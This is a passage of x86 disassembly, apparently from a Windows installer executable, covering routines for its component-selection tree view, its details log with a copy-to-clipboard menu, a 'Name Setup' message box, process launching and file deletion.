		mov	ecx, [ebp+arg_C]


loc_404950:				; CODE XREF: sub_4046C3+288j
		cmp	[ebp+arg_4], 4Eh
		mov	eax, 413h
		jz	short loc_404964
		cmp	[ebp+arg_4], eax
		jnz	loc_404A4B


loc_404964:				; CODE XREF: sub_4046C3+296j
		cmp	[ebp+arg_4], eax
		mov	[ebp+var_C], ecx
		jz	short loc_404979
		cmp	dword ptr [ecx+4], 408h
		jnz	loc_404A4B


loc_404979:				; CODE XREF: sub_4046C3+2A7j
		test	byte ptr dword_42F430+1, 2
		jnz	short loc_4049F8
		cmp	[ebp+arg_4], eax
		jz	short loc_404990
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+8], 0FFFFFFFEh
		jnz	short loc_4049F8


loc_404990:				; CODE XREF: sub_4046C3+2C2j
		xor	ecx, ecx
		cmp	[ebp+arg_4], eax
		setnz	cl
		push	ecx
		push	[ebp+var_4]
		call	sub_404643
		cmp	eax, edi
		jl	short loc_4049F8
		mov	ecx, eax
		imul	ecx, 418h
		lea	edx, [ecx+ebx+8]
		mov	ecx, [edx]
		test	cl, 10h
		jnz	short loc_4049F8
		test	cl, 40h
		jz	short loc_4049D1
		xor	ecx, 80h
		test	cl, cl
		jns	short loc_4049CC
		or	ecx, 1
		jmp	short loc_4049D4
; ---------------------------------------------------------------------------


loc_4049CC:				; CODE XREF: sub_4046C3+302j
		and	ecx, 0FFFFFFFEh
		jmp	short loc_4049D4
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4046C3+2F8j
		xor	ecx, 1


loc_4049D4:				; CODE XREF: sub_4046C3+307j
					; sub_4046C3+30Cj
		push	eax
		mov	[edx], ecx
		call	sub_40117D
		mov	eax, dword_42F430
		xor	ecx, ecx
		not	eax
		inc	ecx
		mov	[ebp+arg_4], 40Fh
		shr	eax, 8
		and	eax, ecx
		mov	[ebp+arg_8], ecx
		mov	[ebp+arg_C], eax


loc_4049F8:				; CODE XREF: sub_4046C3+2BDj
					; sub_4046C3+2CBj ...
		cmp	[ebp+var_C], edi
		jz	short loc_404A4B
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0FFFFFE6Eh
		jnz	short loc_404A17
		push	dword ptr [eax+5Ch]
		push	edi
		push	419h
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_404A17:				; CODE XREF: sub_4046C3+344j
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0FFFFFE6Ah
		jnz	short loc_404A4B
		cmp	dword ptr [eax+0Ch], 2
		jnz	short loc_404A3B
		mov	eax, [eax+5Ch]
		imul	eax, 418h
		lea	eax, [eax+ebx+8]
		or	dword ptr [eax], 20h
		jmp	short loc_404A4B
; ---------------------------------------------------------------------------


loc_404A3B:				; CODE XREF: sub_4046C3+364j
		mov	eax, [eax+5Ch]
		imul	eax, 418h
		lea	ebx, [eax+ebx+8]
		and	dword ptr [ebx], 0FFFFFFDFh


loc_404A4B:				; CODE XREF: sub_4046C3+29Bj
					; sub_4046C3+2B0j ...
		cmp	[ebp+arg_4], 111h
		jnz	short loc_404AC6
		cmp	word ptr [ebp+arg_8], 3F9h
		jnz	loc_404CA8
		mov	eax, [ebp+arg_8]
		shr	eax, 10h
		cmp	ax, 1
		jnz	loc_404CA8
		push	edi
		push	edi
		push	147h
		push	[ebp+var_8]
		call	esi	; SendMessageA
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CA8
		push	edi
		push	eax
		push	150h
		push	[ebp+var_8]
		call	esi	; SendMessageA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404AA0
		mov	eax, [ebp+var_10]
		cmp	[eax+ebx*4], edi
		jnz	short loc_404AA3


loc_404AA0:				; CODE XREF: sub_4046C3+3D3j
		push	20h
		pop	ebx


loc_404AA3:				; CODE XREF: sub_4046C3+3DBj
		push	ebx
		call	sub_401299
		push	ebx
		push	edi
		push	420h
		push	[ebp+arg_0]
		call	esi	; SendMessageA
		mov	[ebp+arg_8], 1
		mov	[ebp+arg_C], edi
		mov	[ebp+arg_4], 40Fh


loc_404AC6:				; CODE XREF: sub_4046C3+38Fj
		cmp	[ebp+arg_4], 200h
		jnz	short loc_404ADB
		push	edi
		push	edi
		push	200h
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_404ADB:				; CODE XREF: sub_4046C3+40Aj
		cmp	[ebp+arg_4], 40Bh
		jnz	short loc_404B16
		mov	eax, dword_42A884
		cmp	eax, edi
		jz	short loc_404AF4
		push	eax
		call	ds:dword_40702C


loc_404AF4:				; CODE XREF: sub_4046C3+428j
		mov	eax, dword_42A898
		cmp	eax, edi
		jz	short loc_404B04
		push	eax
		call	ds:dword_4070F4	; GlobalFree


loc_404B04:				; CODE XREF: sub_4046C3+438j
		mov	dword_42A884, edi
		mov	dword_42A898, edi
		mov	dword_42F480, edi


loc_404B16:				; CODE XREF: sub_4046C3+41Fj
		cmp	[ebp+arg_4], 40Fh
		jnz	loc_404C6A
		push	edi
		push	edi
		call	sub_4011EF
		cmp	[ebp+arg_8], edi
		jz	short loc_404B36
		push	8
		call	sub_401410


loc_404B36:				; CODE XREF: sub_4046C3+46Aj
		cmp	[ebp+arg_C], edi
		jz	short loc_404B7A
		push	dword_42A898
		call	sub_4012E2
		mov	ebx, eax
		push	ebx
		call	sub_401299
		xor	eax, eax
		xor	ecx, ecx
		cmp	ebx, edi
		jle	short loc_404B64


loc_404B56:				; CODE XREF: sub_4046C3+49Fj
		mov	edx, [ebp+var_10]
		cmp	[edx+eax*4], edi
		jz	short loc_404B5F
		inc	ecx


loc_404B5F:				; CODE XREF: sub_4046C3+499j
		inc	eax
		cmp	eax, ebx
		jl	short loc_404B56


loc_404B64:				; CODE XREF: sub_4046C3+491j
		push	edi
		push	ecx
		push	14Eh
		push	[ebp+var_8]
		call	esi	; SendMessageA
		mov	[ebp+arg_C], ebx
		mov	[ebp+arg_4], 420h


loc_404B7A:				; CODE XREF: sub_4046C3+476j
		push	edi
		push	edi
		call	sub_4011EF
		mov	eax, dword_42A898
		cmp	dword_42F44C, edi
		mov	[ebp+var_1C], eax
		mov	eax, dword_42F448
		mov	[ebp+var_38], 0F030h
		mov	[ebp+var_C], edi
		jle	loc_404C40
		lea	ebx, [eax+8]


loc_404BA7:				; CODE XREF: sub_4046C3+577j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_C]
		mov	eax, [eax+ecx*4]
		cmp	eax, edi
		jz	short loc_404C28
		mov	ecx, [ebx]
		mov	[ebp+var_40], eax
		test	ch, 1
		mov	[ebp+var_44], 8
		jz	short loc_404BD6
		lea	eax, [ebx+10h]
		mov	[ebp+var_44], 9
		mov	[ebp+var_34], eax
		and	byte ptr [ebx+1], 0FEh


loc_404BD6:				; CODE XREF: sub_4046C3+500j
		test	cl, 40h
		jz	short loc_404BE0
		push	3
		pop	eax
		jmp	short loc_404BEE
; ---------------------------------------------------------------------------


loc_404BE0:				; CODE XREF: sub_4046C3+516j
		mov	eax, ecx
		and	eax, 1
		inc	eax
		test	cl, 10h
		jz	short loc_404BEE
		add	eax, 3


loc_404BEE:				; CODE XREF: sub_4046C3+51Bj
					; sub_4046C3+526j
		mov	edx, ecx
		push	[ebp+var_40]
		shl	eax, 0Bh
		and	edx, 8
		or	eax, edx
		mov	edx, ecx
		sar	ecx, 5
		add	eax, eax
		and	edx, 20h
		and	ecx, 1
		or	eax, edx
		inc	ecx
		mov	[ebp+var_3C], eax
		push	ecx
		push	1102h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		lea	eax, [ebp+var_44]
		push	eax
		push	edi
		push	110Dh
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_404C28:				; CODE XREF: sub_4046C3+4EFj
		inc	[ebp+var_C]
		add	ebx, 418h
		mov	eax, [ebp+var_C]
		cmp	eax, dword_42F44C
		jl	loc_404BA7


loc_404C40:				; CODE XREF: sub_4046C3+4DBj
		push	1
		push	edi
		push	[ebp+var_4]
		call	ds:dword_407238	; InvalidateRect
		mov	eax, dword_42EBFC
		cmp	[eax+10h], edi
		jz	short loc_404C6A
		push	5
		call	sub_404616
		push	eax
		push	0FFFFFFFBh
		push	3FFh
		call	sub_404561


loc_404C6A:				; CODE XREF: sub_4046C3+45Aj
					; sub_4046C3+591j
		cmp	[ebp+arg_4], 420h
		jnz	short loc_404CA8
		test	byte ptr dword_42F430+1, 1
		jz	short loc_404CA8
		xor	eax, eax
		cmp	[ebp+arg_C], 20h
		mov	esi, ds:dword_407258
		setz	al
		shl	eax, 3
		mov	edi, eax
		push	edi
		push	[ebp+var_4]
		call	esi	; ShowWindow
		push	edi
		push	3FEh
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		push	eax
		call	esi	; ShowWindow


loc_404CA8:				; CODE XREF: sub_4046C3+25Dj
					; sub_4046C3+397j ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_4046C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBD	proc near		; DATA XREF: sub_4046C3+89o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 102h
		push	ebx
		push	esi
		jnz	short loc_404CE6
		cmp	[ebp+arg_8], 20h
		jnz	loc_404D5F
		push	413h
		call	sub_403E0F
		xor	eax, eax
		jmp	loc_404D78
; ---------------------------------------------------------------------------


loc_404CE6:				; CODE XREF: sub_404CBD+Cj
		cmp	[ebp+arg_4], 2
		jnz	short loc_404CF3
		or	dword_40929C, 0FFFFFFFFh


loc_404CF3:				; CODE XREF: sub_404CBD+2Dj
		cmp	[ebp+arg_4], 200h
		mov	esi, 419h
		jnz	short loc_404D1F
		push	[ebp+arg_0]
		call	ds:dword_4071A0	; IsWindowVisible
		test	eax, eax
		jz	short loc_404D5F
		push	1
		push	[ebp+arg_0]
		call	sub_404643
		mov	ebx, eax
		mov	[ebp+arg_4], esi
		jmp	short loc_404D22
; ---------------------------------------------------------------------------


loc_404D1F:				; CODE XREF: sub_404CBD+42j
		mov	ebx, [ebp+arg_C]


loc_404D22:				; CODE XREF: sub_404CBD+60j
		cmp	[ebp+arg_4], esi
		jnz	short loc_404D62
		cmp	dword_40929C, ebx
		jz	short loc_404D62
		push	edi


loc_404D30:				; DATA XREF: .data:0040E350o
					; .data:0041A3A8o
		mov	esi, offset dword_430000
		mov	edi, offset byte_42A8A0
		push	esi
		push	edi
		mov	dword_40929C, ebx
		call	sub_4059DB
		push	ebx
		push	esi
		call	sub_405939
		push	6
		call	sub_401410
		push	edi
		push	esi
		call	sub_4059DB
		pop	edi
		jmp	short loc_404D62
; ---------------------------------------------------------------------------


loc_404D5F:				; CODE XREF: sub_404CBD+12j
					; sub_404CBD+4Fj
		mov	ebx, [ebp+arg_C]


loc_404D62:				; CODE XREF: sub_404CBD+68j
					; sub_404CBD+70j ...
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword_42A894
		call	ds:dword_40719C	; CallWindowProcA


loc_404D78:				; CODE XREF: sub_404CBD+24j
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_404CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D7E	proc near		; CODE XREF: sub_401428+9p
					; sub_401439:loc_401495p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42EC04
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		push	edi
		mov	[ebp+var_4], eax
		jz	loc_404E49
		mov	eax, dword_4092A0
		mov	esi, offset byte_42A080
		mov	edi, eax
		mov	[ebp+var_8], eax
		and	edi, 1
		jnz	short loc_404DB6
		push	[ebp+arg_0]
		push	esi
		call	sub_4059FD


loc_404DB6:				; CODE XREF: sub_404D7E+2Dj
		push	esi
		call	sub_4059F1	; lstrlen
		cmp	[ebp+arg_4], ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404DDF
		push	[ebp+arg_4]
		call	sub_4059F1	; lstrlen
		add	eax, [ebp+arg_0]
		cmp	eax, 800h
		jnb	short loc_404E49
		push	[ebp+arg_4]
		push	esi
		call	sub_4059F7	; lstrcat


loc_404DDF:				; CODE XREF: sub_404D7E+44j
		test	byte ptr [ebp+var_8], 4
		jz	short loc_404DF2
		push	esi
		push	dword_42EBE8
		call	ds:dword_4071E8	; SetWindowTextA


loc_404DF2:				; CODE XREF: sub_404D7E+65j
		test	byte ptr [ebp+var_8], 2
		jz	short loc_404E3C
		push	ebx
		push	ebx
		push	1004h
		mov	[ebp+var_1C], esi
		push	[ebp+var_4]
		mov	esi, ds:dword_40723C
		mov	[ebp+var_30], 1
		call	esi	; SendMessageA
		sub	eax, edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, 1007h
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	ebx
		push	[ebp+var_2C]
		push	1013h
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_404E3C:				; CODE XREF: sub_404D7E+78j
		cmp	edi, ebx
		jz	short loc_404E49
		mov	eax, [ebp+arg_0]
		mov	byte_42A080[eax], bl


loc_404E49:				; CODE XREF: sub_404D7E+15j
					; sub_404D7E+56j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_404D7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E50	proc near		; CODE XREF: sub_403542+29Ap
					; DATA XREF: sub_404EBC+1BEo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, dword_42F448
		push	edi
		mov	edi, dword_42F44C
		push	0
		call	ds:dword_407270
		or	dword_42F4D0, eax
		push	0
		call	sub_403E0F
		test	edi, edi
		jz	short loc_404EA2
		add	esi, 0Ch


loc_404E7A:				; CODE XREF: sub_404E50+48j
		dec	edi
		test	byte ptr [esi-4], 1
		jz	short loc_404E90
		push	[esp+8+arg_0]
		push	dword ptr [esi]
		call	sub_40136D
		test	eax, eax
		jnz	short loc_404E9C


loc_404E90:				; CODE XREF: sub_404E50+2Fj
		add	esi, 418h
		test	edi, edi
		jnz	short loc_404E7A
		jmp	short loc_404EA2
; ---------------------------------------------------------------------------


loc_404E9C:				; CODE XREF: sub_404E50+3Ej
		inc	dword_42F4AC


loc_404EA2:				; CODE XREF: sub_404E50+25j
					; sub_404E50+4Aj
		push	404h
		call	sub_403E0F
		call	ds:dword_407274
		mov	eax, dword_42F4AC
		pop	edi
		pop	esi
		retn	4
sub_404E50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EBC	proc near		; DATA XREF: .data:00409294o

var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_42EC04
		xor	ebx, ebx
		cmp	[ebp+arg_4], 110h
		mov	[ebp+var_4], edi
		jnz	loc_40505D
		or	[ebp+var_2C], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh
		xor	eax, eax
		lea	edi, [ebp+var_1C]
		mov	[ebp+var_34], 2
		mov	[ebp+var_30], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		stosd
		stosd
		mov	eax, dword_42F428
		mov	edi, ds:dword_407224
		push	403h
		mov	ecx, [eax+5Ch]
		mov	eax, [eax+60h]
		push	[ebp+arg_0]
		mov	[ebp+arg_4], ecx
		mov	[ebp+arg_8], eax
		call	edi	; GetDlgItem
		push	3EEh
		mov	dword_42EBF0, eax
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	3F8h
		mov	dword_42EBE8, eax
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	dword_42EBF0
		mov	dword_42EC04, eax
		mov	[ebp+var_4], eax
		call	sub_403DF8
		push	4
		call	sub_404616
		mov	dword_42EBF4, eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	dword_42EC0C, ebx
		push	[ebp+var_4]
		call	ds:dword_407248	; GetClientRect
		push	15h
		call	ds:dword_4071C0	; GetSystemMetrics
		mov	ecx, [ebp+var_C]
		mov	esi, ds:dword_40723C
		sub	ecx, eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		push	101Bh
		mov	[ebp+var_2C], ecx
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	eax, 4000h
		push	eax
		push	eax
		push	1036h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], ebx
		jl	short loc_404FC4
		push	[ebp+arg_4]
		push	ebx
		push	1001h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	[ebp+arg_4]
		push	ebx
		push	1026h
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_404FC4:				; CODE XREF: sub_404EBC+EAj
		cmp	[ebp+arg_8], ebx
		jl	short loc_404FD7
		push	[ebp+arg_8]
		push	ebx
		push	1024h
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_404FD7:				; CODE XREF: sub_404EBC+10Bj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+30h]
		push	1Bh
		push	[ebp+arg_0]
		call	sub_403DC3
		test	byte ptr dword_42F430, 3
		jz	short loc_405019
		push	ebx
		push	dword_42EBF0
		call	ds:dword_407258	; ShowWindow
		test	byte ptr dword_42F430, 2
		jnz	short loc_405013
		push	8
		push	[ebp+var_4]
		call	ds:dword_407258	; ShowWindow
		jmp	short loc_405019
; ---------------------------------------------------------------------------


loc_405013:				; CODE XREF: sub_404EBC+148j
		mov	dword_42EBF0, ebx


loc_405019:				; CODE XREF: sub_404EBC+132j
					; sub_404EBC+155j
		push	3ECh
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	75300000h
		mov	edi, eax
		push	ebx
		push	401h
		push	edi
		call	esi	; SendMessageA
		test	byte ptr dword_42F430, 4
		jz	loc_405231
		push	[ebp+arg_8]
		push	ebx
		push	409h
		push	edi
		call	esi	; SendMessageA
		push	[ebp+arg_4]
		push	ebx
		push	2001h
		push	edi
		call	esi	; SendMessageA
		jmp	loc_405231
; ---------------------------------------------------------------------------


loc_40505D:				; CODE XREF: sub_404EBC+1Bj
		cmp	[ebp+arg_4], 405h
		jnz	short loc_40508E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	3ECh
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		push	eax
		push	offset sub_404E50
		push	ebx
		push	ebx
		call	ds:dword_4070C8	; CreateThread
		push	eax
		call	ds:dword_407060	; CloseHandle


loc_40508E:				; CODE XREF: sub_404EBC+1A8j
		cmp	[ebp+arg_4], 111h
		mov	esi, ds:dword_407258
		jnz	short loc_4050B8
		cmp	word ptr [ebp+arg_8], 403h
		jnz	short loc_4050DA
		push	ebx
		push	dword_42EBF0
		call	esi	; ShowWindow
		push	8
		push	edi
		call	esi	; ShowWindow
		call	sub_404196


loc_4050B8:				; CODE XREF: sub_404EBC+1DFj
		cmp	[ebp+arg_4], 404h
		jnz	short loc_405116
		cmp	dword_42EBEC, ebx
		jz	short loc_4050EF
		push	78h
		mov	dword_429C70, 2
		call	sub_403D9C


loc_4050DA:				; CODE XREF: sub_404EBC+1E7j
					; sub_404EBC+25Ej ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A


loc_4050E8:				; CODE XREF: sub_404EBC+377j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_4050EF:				; CODE XREF: sub_404EBC+20Bj
		push	8
		push	dword_42F424
		call	esi	; ShowWindow
		cmp	dword_42F4AC, ebx
		jnz	short loc_40510F
		mov	eax, dword_42A078
		push	ebx
		push	dword ptr [eax+34h]
		call	sub_404D7E


loc_40510F:				; CODE XREF: sub_404EBC+243j
		push	1
		call	sub_403D9C


loc_405116:				; CODE XREF: sub_404EBC+203j
		cmp	[ebp+arg_4], 7Bh
		jnz	short loc_4050DA
		cmp	[ebp+arg_8], edi
		jnz	short loc_4050DA
		push	ebx
		push	ebx
		push	1004h
		push	edi
		call	ds:dword_40723C	; SendMessageA
		cmp	eax, ebx
		mov	[ebp+arg_4], eax
		jle	loc_405231
		call	ds:dword_4071BC	; CreatePopupMenu
		push	0FFFFFFE1h
		push	ebx
		mov	esi, eax
		call	sub_4059FD
		push	eax
		push	1
		push	ebx
		push	esi
		call	ds:dword_4071B8	; AppendMenuA
		mov	eax, [ebp+arg_C]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405170
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	ds:dword_407170	; GetWindowRect
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		jmp	short loc_405179
; ---------------------------------------------------------------------------


loc_405170:				; CODE XREF: sub_404EBC+29Fj
		movsx	ecx, ax
		shr	eax, 10h
		movsx	eax, ax


loc_405179:				; CODE XREF: sub_404EBC+2B2j
		push	ebx
		push	edi
		push	ebx
		push	eax
		push	ecx
		push	180h
		push	esi
		call	ds:dword_407218	; TrackPopupMenu
		xor	esi, esi
		inc	esi
		cmp	eax, esi
		jnz	loc_405231
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], ebx
		mov	[ebp+var_28], offset byte_42A8A0
		mov	[ebp+var_24], 0FFFh
		mov	[ebp+arg_0], eax
		mov	edi, 102Dh


loc_4051B1:				; CODE XREF: sub_404EBC+310j
		dec	[ebp+arg_0]
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_40723C	; SendMessageA
		cmp	[ebp+arg_0], ebx
		lea	esi, [esi+eax+2]
		jnz	short loc_4051B1
		push	ebx
		call	ds:dword_4071B0	; OpenClipboard
		call	ds:dword_4071AC	; EmptyClipboard
		push	esi
		push	42h
		call	ds:dword_4070F8	; GlobalAlloc
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4070C4	; GlobalLock
		mov	esi, eax


loc_4051F0:				; CODE XREF: sub_404EBC+359j
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_28], esi
		push	eax
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_40723C	; SendMessageA
		push	esi
		call	sub_4059F1	; lstrlen
		add	esi, eax
		mov	word ptr [esi],	0A0Dh
		inc	esi
		inc	esi
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jl	short loc_4051F0
		push	[ebp+arg_0]
		call	ds:dword_4070C0	; GlobalUnlock
		push	[ebp+arg_0]
		push	1
		call	ds:dword_4071A8	; SetClipboardData
		call	ds:dword_4071A4	; CloseClipboard


loc_405231:				; CODE XREF: sub_404EBC+17Ej
					; sub_404EBC+19Cj ...
		xor	eax, eax
		jmp	loc_4050E8
sub_404EBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405238	proc near		; CODE XREF: sub_404281+BFp
					; sub_4059FD+162p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_40714C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short locret_40525F
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]

locret_40525F:				; CODE XREF: sub_405238+13j
		leave
		retn	4
sub_405238	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405263	proc near		; CODE XREF: sub_401E9C+16p start+2D8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		mov	dword_42C8A8, 44h
		call	ds:dword_407080	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405287
		test	al, 10h
		jnz	short loc_40528A


loc_405287:				; CODE XREF: sub_405263+1Ej
		mov	[ebp+arg_4], ecx


loc_40528A:				; CODE XREF: sub_405263+22j
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_42C8A8
		push	[ebp+arg_4]
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		push	ecx
		call	ds:dword_4070CC	; CreateProcessA
		test	eax, eax
		jz	short locret_4052B5
		push	[ebp+var_C]
		call	ds:dword_407060	; CloseHandle
		mov	eax, [ebp+var_10]

locret_4052B5:				; CODE XREF: sub_405263+44j
		leave
		retn	8
sub_405263	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4052B9	proc near		; CODE XREF: sub_402BAB+76p
					; sub_403DC3+1Ap ...
		jmp	ds:dword_4071C4
sub_4052B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052BF	proc near		; CODE XREF: sub_404201+33p
					; sub_404281+135p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	400h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword_42EBF8
		call	ds:dword_4071C8	; GetDlgItemTextA
		retn	8
sub_4052BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4052DB	proc near		; CODE XREF: sub_401439+45Dp
					; sub_401439+521p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, eax
		and	ecx, 1FFFFFh
		cmp	dword_42F4C0, 0
		jz	short loc_4052F5
		shr	eax, 15h
		jnz	short locret_40531A


loc_4052F5:				; CODE XREF: sub_4052DB+13j
		cmp	dword_42F4C8, 0
		jz	short loc_405304
		xor	ecx, 180000h


loc_405304:				; CODE XREF: sub_4052DB+21j
		push	ecx
		push	offset aNameSetup ; "Name Setup"
		push	[esp+8+arg_0]
		push	dword_42F424
		call	ds:dword_4071CC	; MessageBoxA

locret_40531A:				; CODE XREF: sub_4052DB+18j
		retn	8
sub_4052DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40531D	proc near		; CODE XREF: sub_401439+553p
					; sub_40351D+1Fp ...

var_148		= dword	ptr -148h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4055C8
		test	byte ptr [ebp+arg_4], 8
		mov	[ebp+var_8], eax
		jz	short loc_405351
		push	edi
		call	ds:dword_407140	; DeleteFileA
		neg	eax
		sbb	eax, eax
		inc	eax
		add	dword_42F4A8, eax
		jmp	loc_4054E2
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_40531D+1Bj
		push	ebx
		mov	ebx, [ebp+arg_4]
		and	ebx, 1
		mov	[ebp+var_4], ebx
		jz	short loc_40536F
		test	eax, eax
		jz	loc_405487
		test	byte ptr [ebp+arg_4], 2
		jz	loc_405487


loc_40536F:				; CODE XREF: sub_40531D+3Ej
		mov	esi, offset dword_42B8A8
		push	edi
		push	esi
		call	sub_4059DB
		test	ebx, ebx
		jz	short loc_40538C
		push	offset a_	; "\\*.*"
		push	esi
		call	sub_4059F7	; lstrcat
		jmp	short loc_405392
; ---------------------------------------------------------------------------


loc_40538C:				; CODE XREF: sub_40531D+60j
		push	edi
		call	sub_40552F


loc_405392:				; CODE XREF: sub_40531D+6Dj
		push	offset dword_409010
		push	edi
		call	sub_4059F7	; lstrcat
		push	edi
		call	sub_4059F1	; lstrlen
		mov	ebx, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	esi
		add	ebx, edi
		call	ds:dword_40713C	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40547D


loc_4053C1:				; CODE XREF: sub_40531D+151j
		lea	eax, [ebp+var_11C]
		push	3Fh
		push	eax
		lea	esi, [ebp+var_11C]
		call	sub_405513
		cmp	byte ptr [eax],	0
		jz	short loc_4053E3
		cmp	[ebp+var_18], 0
		jz	short loc_4053E3
		lea	esi, [ebp+var_18]


loc_4053E3:				; CODE XREF: sub_40531D+BBj
					; sub_40531D+C1j
		cmp	byte ptr [esi],	2Eh
		jnz	short loc_4053F9
		mov	al, [esi+1]
		test	al, al
		jz	short loc_40545C
		cmp	al, 2Eh
		jnz	short loc_4053F9
		cmp	byte ptr [esi+2], 0
		jz	short loc_40545C


loc_4053F9:				; CODE XREF: sub_40531D+C9j
					; sub_40531D+D4j
		push	esi
		push	ebx
		call	sub_4059DB
